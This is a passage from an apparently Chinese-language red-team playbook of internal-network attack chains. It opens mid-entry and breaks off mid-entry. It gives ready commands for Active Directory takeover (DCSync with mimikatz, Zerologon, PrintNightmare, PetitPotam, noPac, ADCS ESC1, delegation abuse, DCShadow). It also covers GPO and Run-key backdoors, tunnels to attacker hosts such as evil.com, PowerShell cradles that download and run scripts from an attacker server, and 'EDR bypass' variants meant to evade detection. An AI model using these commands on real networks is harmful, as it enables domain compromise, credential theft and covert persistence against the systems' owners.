**3. 利用WriteDACL** _[windows]_ _添加DCSync权限_ ``` Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER ``` **4. 执行DCSync** _[windows]_ _执行DCSync获取域管哈希_ ``` mimikatz.exe "lsadump::dcsync /domain:domain.com /user:Administrator" "exit" ``` **5. 查找GenericAll** _[windows]_ _查找GenericAll权限_ ``` Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"} ``` **6. 重置密码** _[windows]_ _重置目标用户密码_ ``` Set-DomainUserPassword -Identity TARGET_USER -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) ``` **EDR 绕过变体:** **1. 隐蔽操作** _指定域控制器操作_ ``` Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER -DomainController dc.domain.com ``` **分析:** 域内ACL错误配置是常见的权限提升路径,可以通过BloodHound发现。 **OPSEC:** ACL修改会产生日志;优先使用隐蔽的权限;BloodHound可以发现攻击路径 --- ### 跨域信任攻击 `domain-cross-trust` 利用域信任关系进行跨域攻击 子类:**跨域攻击** · tags: `trust` `cross-domain` `active-directory` `forest` **前置条件:** 已获取源域权限;存在域信任关系;目标域信息 **攻击链:** **1. 枚举信任关系** _[windows]_ _枚举域信任关系_ ``` Get-NetDomainTrust ``` **2. 枚举森林信任** _[windows]_ _枚举森林信任关系_ ``` Get-NetForestTrust ``` **3. 跨域用户枚举** _[windows]_ _枚举目标域用户_ ``` Get-NetUser -Domain target.domain.com ``` **4. 跨域组枚举** _[windows]_ _枚举目标域组_ ``` Get-NetGroup -Domain target.domain.com ``` **5. SID History攻击** _[windows]_ _利用SID History跨域提权_ ``` mimikatz.exe "kerberos::golden /domain:source.domain.com /sid:S-1-5-21-SOURCE /sids:S-1-5-21-TARGET-519 /krbtgt:HASH /user:Administrator /ptt" "exit" ``` **6. 跨域票据** _[windows]_ _请求目标域票据_ ``` asktgt.exe -domain target.domain.com -user Administrator -hash :HASH ``` **EDR 绕过变体:** **1. 隐蔽跨域** _指定目标域控制器枚举_ ``` Get-NetUser -Domain target.domain.com -DomainController dc.target.domain.com ``` **分析:** 跨域信任攻击可以利用信任关系从低安全域向高安全域移动。 **OPSEC:** 跨域攻击会产生日志;SID History需要特殊权限;森林信任更安全 --- ### Zerologon攻击 `zerologon` CVE-2020-1472 Netlogon提权 子类:**Zerologon** · tags: `zerologon` `cve-2020-1472` `domain` **前置条件:** 可访问域控制器RPC **攻击链:** **1. 检测漏洞** _[linux]_ _检测漏洞_ ``` python zerologon_tester.py DC_NAME DC_IP 检测是否存在漏洞 ``` **2. 利用漏洞** _[linux]_ _利用漏洞_ ``` python zerologon_exploit.py DC_NAME DC_IP 将DC密码置空 ``` **3. 导出哈希** _[linux]_ _导出哈希_ ``` secretsdump.py -just-dc -no-pass DOMAIN/DC_NAME$@DC_IP 导出域内所有哈希 ``` **4. 恢复密码** _[linux]_ _恢复密码_ ``` python zerologon_restore.py DC_NAME DC_IP ORIGINAL_NTLM 恢复域控密码避免破坏 ``` --- ### PrintNightmare攻击 `printnightmare` CVE-2021-34527 打印服务漏洞 子类:**PrintNightmare** · tags: `printnightmare` `cve-2021-34527` `rce` **前置条件:** 可访问打印服务RPC **攻击链:** **1. 检测漏洞** _[linux]_ _检测打印服务_ ``` rpcdump.py @DC_IP | grep MS-RPRN 检查打印服务是否可用 ``` **2. 利用漏洞** _[linux]_ _利用漏洞_ ``` python CVE-2021-34527.py -target DC_IP -payload DLL_PATH 加载恶意DLL获取SYSTEM权限 ``` **3. Impacket利用** _[linux]_ _使用Impacket_ ``` python dementor.py -d domain -u user -p pass \\attacker\share DC_IP 触发加载远程DLL ``` --- ### PetitPotam攻击 `petitpotam` CVE-2021-36942 强制认证攻击 子类:**PetitPotam** · tags: `petitpotam` `cve-2021-36942` `relay` **前置条件:** 可访问EFSRPC接口 **攻击链:** **1. 启动中继** _[linux]_ _启动NTLM中继_ ``` python ntlmrelayx.py -t ldap://DC_IP -smb2support --adcs 设置NTLM中继到ADCS ``` **2. 触发认证** _[linux]_ _触发认证_ ``` python petitpotam.py -d domain -u user -p pass attacker_ip DC_IP 强制DC向攻击者认证 ``` **3. 获取证书** _[linux]_ _获取证书_ ``` 中继成功后获取用户证书 使用证书进行Pass-the-Cert ``` --- ### noPac/SAMAccountName攻击 `samaccountname` CVE-2021-42278/CVE-2021-42287 域提权 子类:**noPac** · tags: `nopac` `cve-2021-42278` `privesc` **前置条件:** 普通域用户权限 **攻击链:** **1. 检测漏洞** _[linux]_ _检测漏洞_ ``` python noPac.py domain/user:password -dc-ip DC_IP -debug 检测是否存在漏洞 ``` **2. 利用漏洞** _[linux]_ _利用漏洞_ ``` python noPac.py domain/user:password -dc-ip DC_IP -dc-host DC_NAME -shell 获取域管权限 ``` **3. 攻击原理** _攻击原理_ ``` 1. 创建机器账户(名称类似DC) 2. 清除SPN 3. 请求TGT 4. 删除机器账户 5. 获取域管TGT ``` --- ### ADCS滥用攻击 `adcs-abuse` Active Directory证书服务滥用 子类:**ADCS** · tags: `adcs` `certificate` `domain` **前置条件:** ADCS服务可访问 **攻击链:** **1. 枚举ADCS** _[linux]_ _枚举ADCS配置_ ``` certipy find -u user@domain -p password -dc-ip DC_IP 枚举证书模板 ``` **2. 请求用户证书** _[linux]_ _请求证书_ ``` certipy req -u user@domain -p password -ca CA_NAME -template User 请求用户证书 ``` **3. Pass-the-Cert** _[linux]_ _使用证书认证_ ``` certipy auth -pfx user.pfx -dc-ip DC_IP 使用证书获取TGT ``` **4. Rubeus请求** _[windows]_ _Rubeus利用_ ``` Rubeus.exe asktgt /user:target /certificate:cert.pfx /ptt 使用Rubeus请求TGT ``` --- ### ADCS ESC1漏洞 `adcs-esc1` 证书模板ESC1滥用 子类:**ADCS** · tags: `adcs` `esc1` `certificate` **前置条件:** 存在ESC1配置的模板 **攻击链:** **1. 识别ESC1** _[linux]_ _识别漏洞模板_ ``` certipy find -u user@domain -p password -vulnerable 查找ESC1漏洞模板 ``` **2. 利用ESC1** _[linux]_ _请求域管证书_ ``` certipy req -u user@domain -p password -ca CA_NAME -template ESC1_TEMPLATE -alt admin@domain 指定SAN为域管 ``` **3. 认证为域管** _[linux]_ _认证为域管_ ``` certipy auth -pfx admin.pfx -dc-ip DC_IP 使用证书认证为域管 ``` --- ### 约束委派攻击 `constrained-delegation` 利用约束委派进行横向移动 子类:**委派攻击** · tags: `delegation` `constrained` `kerberos` **前置条件:** 存在约束委派配置的账户 **攻击链:** **1. 查找约束委派** _[windows]_ _查找约束委派账户_ ``` Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation 或 bloodhound查询 ``` **2. 获取服务票据** _[windows]_ _S4U2Self + S4U2Proxy_ ``` Rubeus.exe s4u /user:SERVICE_ACCOUNT$ /rc4:HASH /msdsspn:CIFS/target.domain.com /impersonateuser:Administrator 获取域管的服务票据 ``` **3. 使用票据** _[windows]_ _注入票据_ ``` Rubeus.exe ptt /ticket:BASE64_TICKET 注入票据并访问服务 ``` --- ### 基于资源的约束委派 `resource-delegation` 利用RBCD进行权限提升 子类:**委派攻击** · tags: `rbcd` `delegation` `kerberos` **前置条件:** 对目标对象有WriteDACL权限 **攻击链:** **1. 创建机器账户** _[windows]_ _创建机器账户_ ``` New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString "password" -AsPlainText -Force) 创建新的机器账户 ``` **2. 配置RBCD** _[windows]_ _配置RBCD_ ``` Set-ADComputer -Identity TARGET_COMPUTER -PrincipalsAllowedToDelegateToAccount FAKECOMPUTER$ 设置委派关系 ``` **3. 利用RBCD** _[windows]_ _利用RBCD_ ``` Rubeus.exe s4u /user:FAKECOMPUTER$ /rc4:HASH /impersonateuser:Administrator /msdsspn:CIFS/target.domain.com 获取域管票据 ``` --- ### DCShadow攻击 `dcshadow-attack` 伪造域控制器注入数据 子类:**DCShadow** · tags: `dcshadow` `domain` `injection` **前置条件:** 域管理员权限;可注册新DC **攻击链:** **1. 注册伪造DC** _[windows]_ _注册伪造DC_ ``` mimikatz # lsadump::dcshadow /object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519 注册伪造DC并修改对象属性 ``` **2. 推送更改** _[windows]_ _推送更改_ ``` 在另一个终端: mimikatz # lsadump::dcshadow /push 推送更改到真实DC ``` **3. 常见利用** _[windows]_ _常见利用场景_ ``` 修改用户组: /object:CN=Target,CN=Users,DC=domain,DC=com /attribute:primaryGroupID /value:519 添加SID History: /attribute:sidHistory /value:S-1-5-21-xxx-500 ``` --- ### 组策略滥用 `group-policy-abuse` 滥用组策略进行横向移动 子类:**组策略** · tags: `gpo` `group-policy` `domain` **前置条件:** GPO编辑权限 **攻击链:** **1. 查找可编辑GPO** _[windows]_ _查找可编辑GPO_ ``` Get-GPO -All | Where-Object { $_ | Get-GPPermission -TargetType User -TargetName "Domain Users" -PermissionLevel GpoEdit } 查找Domain Users可编辑的GPO ``` **2. 添加计划任务** _[windows]_ _添加计划任务_ ``` New-GPOImmediateTask -TaskName "Backdoor" -Command "cmd.exe" -Arguments "/c calc.exe" -GPODisplayName "VULN_GPO" 添加立即执行的计划任务 ``` **3. 添加注册表项** _[windows]_ _添加注册表启动项_ ``` Set-GPPrefRegistryValue -Name "VULN_GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Backdoor" -Value "C:\backdoor.exe" ``` --- ### SAM The Admin攻击 `sam-the-admin` CVE-2021-42278/CVE-2021-42287域提权 子类:**SAM The Admin** · tags: `ad` `cve-2021-42278` `privilege` **前置条件:** 域用户权限;域控制器存在漏洞 **攻击链:** **1. 检测漏洞** _[linux]_ _检测漏洞_ ``` python noPac.py domain.com/user:password -dc-ip DC_IP 检测是否存在漏洞 ``` **2. 利用漏洞** _[linux]_ _获取域控权限_ ``` python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -shell 获取SYSTEM Shell ``` **3. 执行命令** _[linux]_ _执行命令_ ``` python noPac.py domain.com/user:password -dc-ip DC_IP -dc-host DC_NAME -command "whoami" ``` --- ### NoAuth攻击 `noauth` CVE-2022-33679 Kerberos认证绕过 子类:**NoAuth** · tags: `ad` `cve-2022-33679` `kerberos` **前置条件:** 域用户权限;目标账户有RC4密钥 **攻击链:** **1. 检测漏洞** _[linux]_ _检测漏洞_ ``` python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator 检测是否存在漏洞 ``` **2. 利用漏洞** _[linux]_ _获取TGT_ ``` python NoAuth.py domain.com/user:password -dc-ip DC_IP -target administrator 获取目标用户TGT ``` **3. 使用TGT** _[linux]_ _使用获取的TGT_ ``` 设置KRB5CCNAME环境变量 export KRB5CCNAME=administrator.ccache 使用psexec.py等工具 ``` --- ## 隧道代理 ### FRP内网穿透 `tunnel-frp` 使用FRP建立内网穿透隧道 子类:**TCP隧道** · tags: `frp` `tunnel` `proxy` `nat` **前置条件:** 公网服务器;内网机器可访问公网;FRP工具 **攻击链:** **1. 服务端配置** _[linux]_ _FRP服务端配置文件frps.ini_ ``` [common] bind_port = 7000 ``` **2. 客户端配置** _[windows]_ _FRP客户端配置文件frpc.ini_ ``` [common] server_addr = attacker_ip server_port = 7000 [rdp] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 3389 ``` **3. 启动服务端** _[linux]_ _启动FRP服务端_ ``` ./frps -c frps.ini ``` **4. 启动客户端** _[windows]_ _启动FRP客户端_ ``` frpc.exe -c frpc.ini ``` **分析:** FRP可以建立TCP隧道,将内网服务映射到公网。 **OPSEC:** FRP流量可能被检测;考虑使用加密传输;注意隐藏进程 --- ### Chisel内网穿透 `tunnel-chisel` 使用Chisel建立内网穿透隧道 子类:**HTTP隧道** · tags: `chisel` `tunnel` `proxy` `http` **前置条件:** 公网服务器;内网机器可访问公网;Chisel工具 **攻击链:** **1. 服务端** _[linux]_ _启动Chisel服务端_ ``` ./chisel server -p 8000 --reverse ``` **2. 反向SOCKS** _[windows]_ _建立反向SOCKS代理_ ``` chisel.exe client attacker_ip:8000 R:socks ``` **3. 端口转发** _[windows]_ _端口转发_ ``` chisel.exe client attacker_ip:8000 R:3389:127.0.0.1:3389 ``` **分析:** Chisel可以建立HTTP隧道,穿透防火墙。 **OPSEC:** Chisel使用HTTP协议;可以绑定域名伪装;流量加密 --- ### ReGeorg隧道 `tunnel-regeorg` 通过Web Shell建立隧道 子类:**ReGeorg** · tags: `tunnel` `regeorg` `proxy` **前置条件:** Web Shell上传;支持脚本语言 **攻击链:** **1. 上传隧道脚本** _上传对应语言的隧道脚本_ ``` 上传tunnel.aspx/tunnel.jsp/tunnel.php到目标Web服务器 ``` **2. 建立隧道** _[linux]_ _启动SOCKS代理_ ``` python reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.aspx ``` **3. 配置代理** _[linux]_ _通过代理扫描_ ``` proxychains nmap -sT -Pn target ``` --- ### SSH本地转发 `tunnel-ssh-local` SSH本地端口转发 子类:**SSH** · tags: `ssh` `tunnel` `local` **前置条件:** SSH访问权限 **攻击链:** **1. 本地转发** _[linux]_ _将目标80端口映射到本地8080_ ``` ssh -L 8080:target:80 user@jump ``` --- ### SSH远程转发 `tunnel-ssh-remote` SSH远程端口转发 子类:**SSH** · tags: `ssh` `tunnel` `remote` **前置条件:** SSH访问权限 **攻击链:** **1. 远程转发** _[linux]_ _将本地80端口映射到远程8080_ ``` ssh -R 8080:localhost:80 user@jump ``` --- ### SSH动态转发 `tunnel-ssh-dynamic` SSH动态SOCKS代理 子类:**SSH** · tags: `ssh` `tunnel` `socks` **前置条件:** SSH访问权限 **攻击链:** **1. 动态转发** _[linux]_ _创建SOCKS代理_ ``` ssh -D 1080 user@jump ``` **2. 使用代理** _[linux]_ _通过SOCKS代理访问_ ``` proxychains nmap -sT -Pn target ``` --- ### DNS隧道 `tunnel-dns` 通过DNS协议建立隧道 子类:**DNS** · tags: `dns` `tunnel` `covert` **前置条件:** DNS解析权限;可控域名 **攻击链:** **1. 使用dnscat2** _[linux]_ _启动dnscat2服务器_ ``` ruby dnscat2.rb evil.com --dns port=53,domain=evil.com ``` **2. 客户端连接** _[windows]_ _客户端连接到服务器_ ``` dnscat2-v0.07-client-win32.exe --dns domain=evil.com --secret SECRET ``` **3. 建立隧道** _[linux]_ _建立SOCKS隧道_ ``` session -i 1 listen 127.0.0.1:1080 10.0.0.1:1080 ``` --- ### ICMP隧道 `tunnel-icmp` 通过ICMP协议建立隧道 子类:**ICMP** · tags: `icmp` `tunnel` `covert` **前置条件:** ICMP允许通过;管理员权限 **攻击链:** **1. 使用icmptunnel** _[linux]_ _服务端启动_ ``` icmptunnel -s 10.0.0.1 ``` **2. 客户端连接** _[linux]_ _客户端连接_ ``` icmptunnel -c attacker.com ``` --- ### Ligolo隧道 `tunnel-ligolo` Ligolo内网穿透工具 子类:**Ligolo** · tags: `ligolo` `tunnel` `proxy` **前置条件:** 可执行代理程序 **攻击链:** **1. 启动服务端** _[linux]_ _启动Ligolo代理服务_ ``` sudo proxy -selfcert ``` **2. 运行代理** _[windows]_ _目标机器运行代理_ ``` agent.exe -connect attacker:11601 -ignore-cert ``` **3. 创建隧道** _[linux]_ _创建隧道接口_ ``` session start ``` --- ### SOCKS代理 `socks-proxy` 建立SOCKS代理访问内网 子类:**SOCKS** · tags: `socks` `proxy` `tunnel` **前置条件:** 已有内网访问点 **攻击链:** **1. SSH SOCKS代理** _[linux]_ _SSH动态端口转发_ ``` ssh -D 1080 user@jumpserver 或 ssh -D 1080 -N -f user@jumpserver ``` **2. ProxyChains配置** _[linux]_ _配置ProxyChains_ ``` 编辑 /etc/proxychains.conf: [ProxyList] socks5 127.0.0.1 1080 使用: proxychains nmap -sT target ``` **3. Cobalt Strike SOCKS** _[windows]_ _CS SOCKS代理_ ``` beacon> socks 1080 在CS中启动SOCKS代理 ``` **4. Metasploit SOCKS** _[linux]_ _MSF SOCKS代理_ ``` use auxiliary/server/socks_proxy set SRVPORT 1080 set VERSION 4a run ``` --- ### Ngrok内网穿透 `tunnel-ngrok` 使用Ngrok建立内网穿透 子类:**Ngrok** · tags: `ngrok` `tunnel` `penetration` **前置条件:** Ngrok账号;可访问外网 **攻击链:** **1. 安装Ngrok** _安装并配置Ngrok_ ``` 下载: https://ngrok.com/download tar -xvzf ngrok.zip ./ngrok authtoken YOUR_TOKEN ``` **2. HTTP隧道** _创建HTTP隧道_ ``` ./ngrok http 80 将本地80端口映射到公网 ``` **3. TCP隧道** _创建TCP隧道_ ``` ./ngrok tcp 3389 将本地3389端口映射到公网 ``` **4. 自定义域名** _使用自定义域名_ ``` ./ngrok http -hostname=custom.domain.com 80 ``` --- ### EW内网穿透 `tunnel-ew` 使用EW建立内网穿透 子类:**EW** · tags: `ew` `tunnel` `socks` **前置条件:** 已有内网访问点 **攻击链:** **1. 正向代理** _[linux]_ _正向SOCKS代理_ ``` ./ew -s ssocksd -l 1080 在跳板机上启动SOCKS代理 ``` **2. 反向代理** _[linux]_ _反向SOCKS代理_ ``` 攻击机: ./ew -s rcsocks -l 1080 -e 8888 跳板机: ./ew -s rssocks -d attacker_ip -e 8888 ``` **3. 多级级联** _[linux]_ _多级级联_ ``` ./ew -s lcx_tran -l 1080 -f 2nd_hop -g 9999 多级跳板穿透 ``` --- ### Venom内网穿透 `tunnel-venom` 使用Venom建立内网穿透 子类:**Venom** · tags: `venom` `tunnel` `socks` **前置条件:** 已有内网访问点 **攻击链:** **1. 启动服务端** _[linux]_ _启动服务端_ ``` ./venom_server -lport 9999 在攻击机启动服务端 ``` **2. 连接客户端** _连接服务端_ ``` ./venom_client -rhost attacker_ip -rport 9999 在跳板机连接服务端 ``` **3. 建立SOCKS** _建立SOCKS代理_ ``` Venom > socks 1080 建立SOCKS代理 ``` **4. 端口转发** _端口转发_ ``` Venom > lforward 127.0.0.1 3389 13389 将内网3389转发到本地13389 ``` --- ## 信息收集 ### BloodHound域分析 `bloodhound-enumeration` 使用BloodHound分析Active Directory攻击路径 子类:**域分析** · tags: `bloodhound` `active-directory` `enumeration` `neo4j` **前置条件:** 域环境;域用户凭证;BloodHound工具 **攻击链:** **1. SharpHound采集** _[windows]_ _使用SharpHound采集域信息_ ``` SharpHound.exe -c All ``` **2. PowerShell采集** _[windows]_ _通过PowerShell远程加载采集_ ``` IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All ``` **3. bloodhound-python** _[linux]_ _使用Python版本采集_ ``` bloodhound-python -u user -p password -d target.com -ns dc_ip ``` **4. 指定域控制器** _[windows]_ _指定域控制器采集_ ``` SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.target.com ``` **5. 启动Neo4j** _[linux]_ _启动Neo4j数据库_ ``` sudo neo4j console ``` **6. Cypher查询域管** _查询域管理员用户_ ``` MATCH (n:User) WHERE n.admincount=true RETURN n ``` **7. 查询攻击路径** _查询到域管理员的最短路径_ ``` MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p ``` **EDR 绕过变体:** **1. 隐蔽采集** _随机化文件名避免检测_ ``` SharpHound.exe -c All --LdapUsername user --LdapPassword pass --OutputDirectory C:\Users\Public --RandomizeFilenames ``` **分析:** BloodHound可发现域内的攻击路径,如权限提升路径、会话信息、组关系等。 **OPSEC:** BloodHound采集会产生大量LDAP查询;可能触发域控制器告警;建议在非工作时间执行 --- ### SPN扫描 `spn-scan` 扫描域内服务主体名称 子类:**SPN** · tags: `spn` `kerberos` `enumeration` **前置条件:** 域环境;任意域用户凭证 **攻击链:** **1. 查询所有SPN** _[windows]_ _查询域内所有SPN_ ``` setspn -T domain.com -Q */* ``` **2. PowerShell查询** _[windows]_ _PowerShell查询SPN用户_ ``` Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName ``` **3. Impacket查询** _[linux]_ _Impacket查询SPN_ ``` GetUserSPNs.py domain/user:password -dc-ip dc_ip ``` **4. 查询特定服务** _[windows]_ _查询HTTP服务的SPN_ ``` setspn -T domain.com -Q HTTP/* ``` **5. 查找SQL服务** _[windows]_ _查询MSSQL服务的SPN_ ``` setspn -T domain.com -Q MSSQLSvc/* ``` **分析:** SPN扫描可以发现域内运行的服务账户,为Kerberoasting攻击做准备。 **OPSEC:** SPN查询是正常的域操作;不会触发明显告警;可用于后续Kerberoasting攻击 --- ### 内网端口扫描 `port-scan` 内网端口扫描与服务识别 子类:**端口扫描** · tags: `nmap` `port-scan` `enumeration` **前置条件:** 内网访问权限;扫描工具 **攻击链:** **1. 快速扫描** _[linux]_ _快速扫描常用端口_ ``` nmap -sS -T4 -F 192.168.1.0/24 ``` **2. 全端口扫描** _[linux]_ _扫描所有65535端口_ ``` nmap -sS -p- 192.168.1.1 ``` **3. 服务识别** _[linux]_ _服务版本探测和脚本扫描_ ``` nmap -sV -sC 192.168.1.1 ``` **4. 内网存活探测** _[linux]_ _Ping扫描发现存活主机_ ``` nmap -sn 192.168.1.0/24 ``` **5. Masscan快速扫描** _[linux]_ _高速端口扫描_ ``` masscan -p1-65535 192.168.1.0/24 --rate=1000 ``` **6. 操作系统识别** _[linux]_ _识别目标操作系统_ ``` nmap -O 192.168.1.1 ``` **7. UDP扫描** _[linux]_ _扫描常用UDP端口_ ``` nmap -sU --top-ports 20 192.168.1.1 ``` **8. 漏洞扫描** _[linux]_ _使用漏洞扫描脚本_ ``` nmap --script vuln 192.168.1.1 ``` **EDR 绕过变体:** **1. 隐蔽扫描** _低速分片扫描,添加随机数据_ ``` nmap -sS -T2 -f --data-length 50 192.168.1.1 ``` **2. 诱饵扫描** _使用诱饵IP混淆扫描来源_ ``` nmap -sS -D RND:10 192.168.1.1 ``` **分析:** 端口扫描可以发现内网中开放的服务,识别潜在的攻击目标。 **OPSEC:** 高速扫描可能触发IDS告警;建议使用较低速率;分时段进行扫描 --- ### 域信息收集 `domain-recon` Active Directory域环境信息收集 子类:**域信息** · tags: `active-directory` `domain` `enumeration` **前置条件:** 域环境;任意域用户凭证 **攻击链:** **1. 域信息** _[windows]_ _获取域信息_ ``` net config workstation ``` **2. 域控制器** _[windows]_ _列出域控制器_ ``` nltest /dclist:domain.com ``` **3. 域用户** _[windows]_ _列出域用户_ ``` net user /domain ``` **4. 域管理员** _[windows]_ _列出域管理员组_ ``` net group "Domain Admins" /domain ``` **5. 域信任关系** _[windows]_ _列出域信任关系_ ``` nltest /domain_trusts ``` **6. PowerView收集** _[windows]_ _使用PowerView收集域信息_ ``` IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1"); Get-NetDomain ``` **7. 获取域策略** _[windows]_ _获取域密码策略_ ``` Get-DomainPolicy ``` **8. 获取域控制器** _[windows]_ _获取域控制器信息_ ``` Get-NetDomainController ``` **分析:** 域信息收集是内网渗透的基础,可以了解域结构、用户、组等信息。 **OPSEC:** 域信息收集是正常操作;不会触发明显告警;为后续攻击做准备 --- ### 网络信息收集 `network-recon` 内网网络拓扑和配置信息收集 子类:**网络信息** · tags: `network` `enumeration` `topology` **前置条件:** 内网访问权限 **攻击链:** **1. 网络配置** _[windows]_ _查看网络配置_ ``` ipconfig /all ``` **2. 路由表** _[windows]_ _查看路由表_ ``` route print ``` **3. ARP缓存** _[windows]_ _查看ARP缓存_ ``` arp -a ``` **4. 网络连接** _[windows]_ _查看网络连接_ ``` netstat -ano ``` **5. DNS缓存** _[windows]_ _查看DNS缓存_ ``` ipconfig /displaydns ``` **6. Linux网络配置** _[linux]_ _Linux查看网络配置_ ``` ifconfig -a ``` **7. Linux路由表** _[linux]_ _Linux查看路由表_ ``` route -n ``` **8. traceroute** _[windows]_ _追踪路由_ ``` tracert target_ip ``` **分析:** 网络信息收集可以了解内网拓扑、网段划分、网关等信息。 **OPSEC:** 这些是正常的网络管理命令;不会触发告警;为后续横向移动做准备 --- ### 共享枚举 `share-enum` 枚举网络共享资源 子类:**共享** · tags: `smb` `share` `enumeration` **前置条件:** 内网访问权限 **攻击链:** **1. 枚举共享** _[windows]_ _查看本地共享_ ``` net share ``` **2. 查看远程共享** _[windows]_ _查看远程机器共享_ ``` net view \\target_ip ``` **3. SMBMap枚举** _[linux]_ _使用SMBMap枚举共享_ ``` smbmap -H target_ip -u user -p password ``` **4. CrackMapExec枚举** _[linux]_ _使用CME枚举共享_ ``` crackmapexec smb target_ip -u user -p password --shares ``` **5. smbclient枚举** _[linux]_ _使用smbclient枚举_ ``` smbclient -L target_ip -U user%password ``` **6. PowerView枚举** _[windows]_ _查找有趣的共享文件_ ``` Find-InterestingDomainShareFile ``` **分析:** 共享枚举可以发现敏感文件、配置文件、备份文件等有价值的信息。 **OPSEC:** 共享枚举是正常操作;可能发现敏感文件;注意文件访问日志 --- ### 用户枚举 `user-enum` 枚举域内用户信息 子类:**用户** · tags: `user` `enumeration` `active-directory` **前置条件:** 域环境;任意域用户凭证 **攻击链:** **1. 列出域用户** _[windows]_ _列出所有域用户_ ``` net user /domain ``` **2. 用户详细信息** _[windows]_ _查看用户详细信息_ ``` net user username /domain ``` **3. PowerView枚举** _[windows]_ _使用PowerView枚举用户_ ``` Get-NetUser | select samaccountname,description,admincount ``` **4. 查找管理员** _[windows]_ _查找域管理员_ ``` Get-NetUser -AdminCount | select samaccountname ``` **5. 查找活跃用户** _[windows]_ _查找最近登录的用户_ ``` Get-NetUser | Where-Object {$_.lastlogon -gt (Get-Date).AddDays(-30)} ``` **6. Impacket枚举** _[linux]_ _使用Impacket枚举域用户_ ``` GetADUsers.py -all domain/user:password -dc-ip dc_ip ``` **分析:** 用户枚举可以发现高价值目标、活跃用户、服务账户等。 **OPSEC:** 用户枚举是正常操作;为后续攻击选择目标;注意识别蜜罐账户 --- ### 组枚举 `group-enum` 枚举域内组信息 子类:**组** · tags: `group` `enumeration` `active-directory` **前置条件:** 域环境;任意域用户凭证 **攻击链:** **1. 列出域组** _[windows]_ _列出所有域组_ ``` net group /domain ``` **2. 组成员** _[windows]_ _查看域管理员组成员_ ``` net group "Domain Admins" /domain ``` **3. PowerView枚举** _[windows]_ _使用PowerView枚举组_ ``` Get-NetGroup | select samaccountname,admincount ``` **4. 查找高权限组** _[windows]_ _查找高权限组_ ``` Get-NetGroup -AdminCount | select samaccountname ``` **5. 组成员关系** _[windows]_ _获取组成员_ ``` Get-NetGroupMember "Domain Admins" | select membername ``` **6. 递归组成员** _[windows]_ _递归获取组成员(包括嵌套组)_ ``` Get-NetGroupMember "Domain Admins" -Recurse ``` **分析:** 组枚举可以发现高权限组、组成员关系、嵌套组等。 **OPSEC:** 组枚举是正常操作;重点关注高权限组;注意嵌套组关系 --- ### GPO枚举 `gpo-enum` 枚举组策略对象 子类:**GPO** · tags: `gpo` `group-policy` `enumeration` **前置条件:** 域环境;任意域用户凭证 **攻击链:** **1. 列出GPO** _[windows]_ _列出所有GPO_ ``` Get-GPO -All ``` **2. PowerView枚举** _[windows]_ _使用PowerView枚举GPO_ ``` Get-NetGPO | select displayname,whencreated ``` **3. GPO权限** _[windows]_ _查找GPO中的受限组_ ``` Get-NetGPOGroup ``` **4. GPP密码** _[windows]_ _查找GPP中的密码_ ``` Get-NetGPPPassword ``` **5. 查找可利用GPO** _[windows]_ _查找用户受哪些GPO影响_ ``` Find-GPOLocation -UserName user ``` **分析:** GPO枚举可以发现组策略配置、GPP密码、受限组等信息。 **OPSEC:** GPP密码是常见的信息泄露点;GPO可能包含敏感配置;注意GPO修改权限 --- ### ACL枚举 `acl-enum` 枚举访问控制列表 子类:**ACL** · tags: `acl` `access-control` `enumeration` **前置条件:** 域环境;任意域用户凭证 **攻击链:** **1. PowerView ACL枚举** _[windows]_ _获取用户对象的ACL_ ``` Get-ObjectAcl -SamAccountName user -ResolveGUIDs ``` **2. 查找危险权限** _[windows]_ _查找有趣的ACL权限_ ``` Find-InterestingDomainAcl -ResolveGUIDs ``` **3. 查找WriteDACL** _[windows]_ _查找WriteDACL权限_ ``` Get-ObjectAcl -SamAccountName target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"} ``` **4. 查找GenericAll** _[windows]_ _查找GenericAll权限_ ``` Get-ObjectAcl -SamAccountName target -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"} ``` **5. BloodHound ACL分析** _BloodHound查询ACL关系_ ``` MATCH (n)-[r:AllExtendedRights]->(m) RETURN n,m ``` **分析:** ACL枚举可以发现权限配置错误,如WriteDACL、GenericAll等危险权限。 **OPSEC:** ACL错误配置是常见的提权路径;重点关注高价值目标;BloodHound可可视化ACL关系 --- ### 信任关系枚举 `trust-enum` 枚举域信任关系 子类:**信任关系** · tags: `trust` `enumeration` `active-directory` **前置条件:** 域环境;任意域用户凭证 **攻击链:** **1. 域信任关系** _[windows]_ _列出域信任关系_ ``` nltest /domain_trusts ``` **2. PowerView枚举** _[windows]_ _使用PowerView枚举信任关系_ ``` Get-NetDomainTrust ``` **3. 森林信任** _[windows]_ _枚举森林信任关系_ ``` Get-NetForestTrust ``` **4. 信任详细信息** _[windows]_ _查看信任详细信息_ ``` Get-NetDomainTrust | select SourceDomain,TargetDomain,TrustType,TrustDirection ``` **分析:** 信任关系枚举可以发现跨域/跨森林攻击路径。 **OPSEC:** 信任关系可能提供跨域攻击路径;关注双向信任;注意SID历史问题 --- ### 计算机枚举 `computer-enum` 枚举域内计算机 子类:**计算机** · tags: `computer` `enumeration` `active-directory` **前置条件:** 域环境;任意域用户凭证 **攻击链:** **1. 列出域计算机** _[windows]_ _列出域计算机_ ``` 